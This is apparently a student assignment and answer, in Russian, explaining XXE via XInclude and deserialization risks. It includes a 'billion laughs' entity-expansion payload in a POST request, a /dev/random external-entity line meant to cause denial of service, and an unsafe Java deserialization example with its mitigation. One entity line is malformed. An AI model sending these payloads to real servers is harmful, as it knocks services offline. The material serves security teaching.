Разобраться с уязвимостью XXE через XInclude.
Необходимо своими словами описать механизм XInclude, а также то, как возникает уязвимость XXE при его использовании.
Можно подсмотреть ресурс https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
пример https://gist.github.com/jakekarnes42/effe052f1095532cda84307024b3d512
или самостоятельно попробовать пройти пример https://portswigger.net/web-security/xxe/lab-xinclude-attack.
Ответом будет являться текстовый файл с описанием:
- механизма XInclude, как работает и для чего нужен
- причина возникновения уязвимости
- 2 примера того, к чему атака на XInclude может привести
Придумать/найти атаку на механизм сериализации/десериализации, приводящую к частичному или полному отказу в обслуживании. Ответ - текстовый файл с описанием.
XXE (или вставка внешних сущностей XML) - уязвимость, позволяющая злоумышленнику вмешиваться в обработку XML-данных веб-приложений (сайтов) при их отправке на сервер. Чаще всего используется для просмотра файлов в файловой системе сервера приложений, а так же других серверов или внешних систем, к которым приложение может получить доступ. Результат уязвимости можно посмотреть в ответе приложения (response). Так же возможно осуществление DoS атак (например уязвимость 'Denial-of-Service').
Чтобы выполнить атаку XInclude, необходимо указать пространство имен XInclude и путь к файлу, содержимое которого требуется получить
Практически все уязвимости XXE возникают из-за того, что библиотека синтаксического анализа XML-приложения поддерживает потенциально опасные функции XML, которые приложению по сути не нужны или не предназначены для использования. Самый простой и эффективный способ предотвратить атаки XXE — отключить эти функции. Как правило, достаточно отключить разрешение внешних сущностей и отключить поддержку XInclude. Обычно это можно сделать с помощью параметров конфигурации или программного переопределения поведения по умолчанию.
Пример атаки состоит из определения 10 сущностей, каждая из которых определяется как состоящая из 10 предыдущих сущностей, с документом, состоящим из одного экземпляра наибольшей сущности, которая расширяется до одного миллиарда копий первой сущности
POST http://somesite.com/xml HTTP/1.1
<?xml version="1.0" ?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<foo>
&lol9;
</foo>Злоумышленник пытается вызвать отказ в обслуживании, используя потенциально бесконечный файл:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>Атаки на механизм сериализации/десериализации, приводящие к частичному или полному отказу в обслуживании
Небезопасная десериализация (Insecure Deserialization) - это уязвимость, при которой злоумышленник внедряет вредоносный объект в приложение при передаче сериализованных данных, что часто приводит к удаленному выполнению кода, обходу пути, повышению привилегий, обходу аутентификации и многому другому
Deserialization of Untrusted Data (CWE-502)
Этот фрагмент кода десериализует объект из файла и использует его как кнопку пользовательского интерфейса
try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();
}Этот код не пытается проверить источник или содержимое файла перед его десериализацией. Злоумышленник может заменить предполагаемый файл другим файлом, содержащим произвольный вредоносный код, который будет выполняться при нажатии кнопки.
Чтобы смягчить это, явно определите final readObject(), чтобы предотвратить десериализацию.
Примером этого является:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Невозможно десериализовать");
}